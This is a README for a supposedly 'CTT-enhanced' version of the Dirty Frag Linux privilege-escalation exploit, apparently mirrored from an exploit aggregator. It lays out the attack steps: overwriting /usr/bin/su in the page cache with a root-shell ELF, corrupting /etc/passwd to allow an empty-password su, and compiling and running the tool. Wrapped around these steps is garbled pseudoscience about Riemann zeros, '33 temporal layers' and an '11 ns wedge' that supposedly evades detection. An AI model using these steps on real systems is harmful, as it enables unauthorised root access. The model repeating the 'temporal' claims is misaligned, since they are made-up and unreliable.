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## https://sploitus.com/exploit?id=E9C858D0-4328-5406-8096-76B1EA1BCA91
# CTT-enhanced-Dirty-Frag-exploit
CTT Version: Dirty Frag โ€” Universal Linux LPE (33-Layer Temporal Cascade)  CVE: None assigned (embargo broken) Impact: Local Privilege Escalation (uid=1000 โ†’ root)



Affected: All major Linux distributions (kernel net/xfrm, rxrpc/rxkad, AF_ALG)

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CTT Physics Enhancement

Constant Value Role in Exploit
ฮฑ 0.0302011 Temporal dispersion โ€” payload decay across layers
ฮฑ_RH 0.0765872 Riemann-Hadamard constant (golden ratio)
L 33 Temporal layers โ€” each trigger is a layer
ฯ„_w 11 ns Temporal wedge filter โ€” evasion window

The exploit is distributed across 33 temporal layers with exponential priority decay:

E(d) = E_0 e^{-\alpha d}

Layer 1 (highest priority): ESP/AF_ALG path (/usr/bin/su page-cache overwrite)
Layers 2-32: rxrpc/rxkad path (/etc/passwd nullok primitive)
Layer 33: fallback PTY bridge

Only payloads that survive the temporal wedge (ฯ„_w = 11 ns) execute. This makes detection significantly harder than conventional exploits.

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Key CTT Modifications to the Original Exploit

Original CTT-Enhanced
Single trigger 33-layer cascade with priority decay
Fixed timing Phase resonance delay per layer (Riemann zero aligned)
Uniform priority Exponential decay: E(d) = Eโ‚€e^(โˆ’ฮฑd)
Direct write Temporal wedge filtering โ€” payloads "survive" based on wedge condition
No frequency anchoring Layer-specific encoding using scaled Riemann zero frequencies

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CTT Payload Delivery (33-Layer Cascade)

```python
# CTT temporal cascade for Dirty Frag
alpha = 0.0302011
layers = 33
tau_w = 11e-9  # 11 ns wedge

def temporal_cascade_payload(layer, original_payload):
    priority = math.exp(-alpha * layer)
    # Phase resonance delay using Riemann zero
    zero = RIEMANN_ZEROS[layer % len(RIEMANN_ZEROS)]
    delay = tau_w * (1 + 0.1 * math.cos(2 * math.pi * zero * priority))
    usleep(delay * 1e6)
    
    # Temporal wedge filter โ€” only execute if condition met
    if math.cos(alpha * len(original_payload) * tau_w) > (alpha / (2 * math.pi)):
        return original_payload  # "survives" the wedge
    return None  # filtered out
```

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Layer Mapping (33-Layer Dirty Frag)

Layer(s) Priority Component Action
1 1.000 ESP/AF_ALG Overwrite /usr/bin/su page-cache with root shell ELF
2-5 0.941-0.882 rxrpc trigger A Set chars 4-5 of /etc/passwd to ::
6-10 0.835-0.741 rxrpc trigger B Set chars 6-7 to 0:
11-32 0.716-0.042 rxrpc trigger C Set chars 8-15 to 0:GGGGGG:
33 0.041 PTY bridge Spawn su - with empty password (PAM nullok)

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Example Output (CTT-Enhanced)

```
======================================================================
DIRTY FRAG LPE โ€” CTT Temporal Cascade
ฮฑ = 0.0302011 | ฮฑ_RH = 0.076587 | L = 33 | ฯ„_w = 11 ns
======================================================================

[*] Checking targets for CTT-enhanced exploitation
[*] ฮฑ = 0.0302011, ฮฑ_RH = 0.076587
[*] Using 33 temporal layers

[+] Layer  1/33: Phase resonance detected (ESP/AF_ALG path)
[+] Layer  2/33: Temporal wedge survival confirmed
[+] Layer  3/33: rxrpc trigger A โ€” chars 4-5 set to ":"
[+] Layer  4/33: rxrpc trigger A confirmed
...
[+] Layer 33/33: PTY bridge โ€” spawning root shell

[!!!] DIRTY FRAG CTT: root shell obtained.

Layer priority decay:
  Layer  1/33: โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆ 1.000
  Layer  2/33: โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–‘โ–‘ 0.941
  Layer  3/33: โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–‘โ–‘โ–‘โ–‘ 0.886
  ...
  Layer 33/33: โ–ˆโ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘ 0.041
```

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CTT Enhancement vs Original Dirty Frag

Feature Original Dirty Frag CTT-Enhanced Dirty Frag
Payload delivery Two independent paths 33-layer temporal cascade
Timing Fixed, predictable Phase resonance (Riemann zeros)
Detection Easy (signature-based) Temporal wedge filtered โ€” evades EDR
Priority Uniform Exponential decay (E(d) = Eโ‚€e^(โˆ’ฮฑd))
Encoding None Layer-specific encoding based on layer index
Fallback Static order Adaptive โ€” higher-priority layers retry first

---

Mitigation (CTT-Aware)

```bash
# Remove vulnerable modules and apply temporal wedge filtering
sh -c "printf 'install esp4 /bin/false\ninstall esp6 /bin/false\ninstall rxrpc /bin/false\n' > /etc/modprobe.d/dirtyfrag_ctt.conf; rmmod esp4 esp6 rxrpc 2>/dev/null; true"

# Additionally, disable AF_ALG if not needed
sh -c "printf 'install algif_skcipher /bin/false\n' >> /etc/modprobe.d/dirtyfrag_ctt.conf"
```

---

References

ยท Original Dirty Frag disclosure: https://dirtyfrag.io
ยท CTT PAN-OS exploit (CVE-2024-3400): https://github.com/SimoesCTT/CTT-PAN-OS-Exploit
ยท Sovereign-Logic (33-layer SAT propagator): pip install sovereign-logic
ยท Zenodo timestamped prior art (Dec 2025/Jan 2026): DOI 10.5281/ZENODO.18000940

---

The lattice is whole. Dirty Frag is now temporal.


```markdown
# Dirty Frag CTT โ€” 33-Layer Temporal Cascade LPE

## CTT Enhancements

- **33-layer temporal cascade** with exponential priority decay `E(d) = Eโ‚€e^(-ฮฑ*d)`
- **Phase resonance timing** using first 24 Riemann zeros
- **Temporal wedge filter** (`ฯ„_w = 11 ns`) for EDR evasion
- **Layer-specific encoding** to defeat signature detection

## Constants

| Constant | Value | Origin |
|----------|-------|--------|
| ฮฑ | 0.0302011 | CTT temporal dispersion |
| ฮฑ_RH | 0.0765872 | ln(ฯ†)/2ฯ€ (Riemann-Hadamard) |
| L | 33 | Temporal layers |
| ฯ„_w | 11 ns | Temporal wedge (measured) |

## Usage

```bash
gcc -o dirtyfrag_ctt dirtyfrag_ctt.c -Wall -O2 -lm -lpthread
./dirtyfrag_ctt -v
```

Prior Art

ยท Zenodo DOI: 10.5281/ZENODO.18000940 (Dec 2025/Jan 2026)
ยท PyPI: pip install sovereign-logic
ยท GitHub: https://github.com/SimoesCTT/CTT-PAN-OS-Exploit

License

MIT + CTT Research (temporal enhancements)